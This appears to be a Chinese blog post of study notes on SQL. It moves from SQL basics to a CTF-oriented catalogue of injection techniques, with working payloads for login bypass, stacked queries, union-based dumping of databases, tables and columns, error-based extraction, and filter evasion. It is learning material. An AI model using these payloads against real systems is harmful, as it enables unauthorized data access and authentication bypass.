SQL
系统地学习一下sql
- DBMS——数据库管理系统(database management system)
- 数据库中也有对象,而数据库的对象就是——表格。
- 表格由行和列组成,其中 行又称为记录 列又称为字段
-
DDL(数据定义语言)
数据定义语言用于改变数据库结构,包括创建、更改和删除数据库对象。用于操纵表结构的数据定义语言命令有:
CREATE TABLE
-- 创建(在数据库中创建新表、表视图或其他对象)ALTER TABLE
-- 更改 (修改现有的数据库对象,如表)DROP TABLE
-- 删除 (删除数据库中的整个表、表或其他对象的视图)
DML(数据操纵语言)
数据操纵语言用于检索、插入和修改数据,数据操纵语言是最常见的SQL命令。
数据操纵语言命令包括:
INSERT
-- 插入 (创建记录)DELETE
-- 删除 (删除记录)UPDATE
-- 修改(修改记录)SELECT
-- 检索 (从一个或多个表检索某些记录)
DCL(数据控制语言)
数据控制语言为用户提供权限控制命令。
用于权限控制的命令有:
GRANT
-- 授予权限REVOKE
-- 撤销已授予的权限
- 主键 选择一列成为主键,主键列不能有NULL(空值),每个值都必须不同。
- 约束。 约束指的是在列上或在表上强行执行的规则,可以限制进入表格内的数据,确保数据的准确及可靠,不会出现一些奇怪的数据。
- 表中不会出现重复的行。
-
SQL 语法规则
- SQL语句总是以关键字开始,如SELECT、INSERT、UPDATE、DELETE、DROP、CREATE。
- SQL语句以分号结尾。
- SQL不区分大小写,意味着update与UPDATE相同。
-
SQL在文本值周围使用单引号(大多数数据库系统也接受双引号)。如果是数值字段,则不要使用引号。 如: country=‘China’; id=1;
- 注意:表名为数字时,要用反引号(反引号是指数字1左边的英文字符``,而不是单引号'',两个很容易混淆)包起来查询。 表名为字符时不需要 如:1'; show columns from '1919810931114514';#
- ALTER TABLE words CHANGE flag id varchar(50) 可以改变words表里的的flag字段的名字,改成id,后面跟着的是数据类型。
- varchar()指的是可变长度的字符串。
-
LIMIT 语句可以被用于强制 SELECT 语句返回指定的记录数。LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。
双参数:limit (偏移到哪个位置,往下数几个)
如:
取出点击量前三名到第五名的商品
SELECT goods_id,cat_id,goods_name,click_count
FROM goods
ORDER BY click_count DESC LIMIT 2,3;
- order by 是用来规定以哪一列进行排序的
information_schema
是 mysql 自带的库,这个库保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。table_schema 指的是表所对应的库
注入类型:
1、堆叠注入,多条sql语句一起执行。(不是很理解有啥用)
样例:1';show databases;# ——爆数据库
1';show tables;# ——爆表
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据。仅可在mysql中使用。
语法:HANDLER tbl_name OPEN打开一张表
HANDLER tbl_name READ FIRST获取表中的第一行,修改 FIRST 为 NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
HANDLER tbl_name CLOSE来关闭
2、最基础:
1’ or 1=1# 万能密码登录
1‘ or 1=1 union select 1,2,3 # 判断能回显的字段个数
接下去就是爆库,爆表,爆字段,爆值
1’ or 1=1 union select 1,database(),3 # 爆库 (这样只能爆出来一个库)
想全部爆出来应该用 1’ or 1=1 union select 1,schema_name,3 from information_schema.schemata # 当情况允许时,show databases() 与其等价
1’ or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“web2” # <<=特定的库名 爆表
1’ or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=“flag”# <<=特定的表名 爆字段 这里爆出所有字段
1’ or 1=1 union select 1,2,3,字段 from 表名; # 这里爆特定的字段里的值
3、数字型判断:
当输入的参数 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:
select * from <表名> where id = x
这种类型可以使用经典的 and 1=1
和 and 1=2
来判断:
- Url 地址中输入
http://xxx/abc.php?id= x and 1=1
页面依旧运行正常,继续进行下一步。
- Url 地址中输入
- Url 地址中继续输入
http://xxx/abc.php?id= x and 1=2
页面运行错误,则说明此 Sql 注入为数字型注入。
- Url 地址中继续输入
原因如下:
当输入 and 1=1
时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=1
没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2
时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=2
没有语法错误但是逻辑判断为假,所以返回错误。
我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。
4、字符型判断:
当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:
select * from <表名> where id = 'x'
这种类型我们同样可以使用 and '1'='1
和 and '1'='2
来判断:
- Url 地址中输入
http://xxx/abc.php?id= x' and '1'='1
页面运行正常,继续进行下一步。
- Url 地址中输入
- Url 地址中继续输入
http://xxx/abc.php?id= x' and '1'='2
页面运行错误,则说明此 Sql 注入为字符型注入。
- Url 地址中继续输入
原因如下:
当输入 and '1'='1
时,后台执行 Sql 语句:
select * from <表名> where id = 'x' and '1'='1'
语法正确,逻辑判断正确,所以返回正确。
当输入 and '1'='2
时,后台执行 Sql 语句:
select * from <表名> where id = 'x' and '1'='2'
语法正确,但逻辑判断错误,所以返回正确。同学们同样可以使用假设法来验证。
5、报错注入:
两个函数: 1)extractvalue
语句: extractvalue(null,concat(sql injection),0x7e)) 非法传参,让后台xml故意报错。
0x7e 指的是 ~
2)updatexml
语句:1=(updatexml(1,concat(0x7e,(sql_injection)),1))
6、盲注
包括布尔盲注和时间盲注(时间盲注不常用)
不用脚本跑还是直接放弃算了,一个个手打去试直接试到明年。
附一个python脚本:盲注python脚本 - heartbeat111 - 博客园 (cnblogs.com)
7、联合注入
在联合注入时,当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。
如输入 'union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'# 时
用户名是admin的账号,它所对应的密码就不需要知道了,只用输入e10adc3949ba59abbe56e057f20f883e解密后的结果即可登录。(此处是123456的md5加密)
换句话说,可以随便输入密码,在查询时查询其加密后结果即可。
两个函数都只能显示32个字符,可能会使flag显示不全。此时可以用left(*,number),right()函数 第二个参数用于设置回显字符数,第一个参数是回显的数据名称
/check.php?username=admin&password=pwd ' union select 1,2,group_concat(flag) from (ctf.Flag)#
标绿部分是题目给的格式,?表示输入参数,&表示同时传输两个参数。 标蓝部分是我们写的payload ctf.Flag 表示从ctf库下的Flag表里显示字段名为flag的字段里的内容。
()可以代替空格 如若要输入select * from users 可写成 select(*)from(users)
like 可以代替等号
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?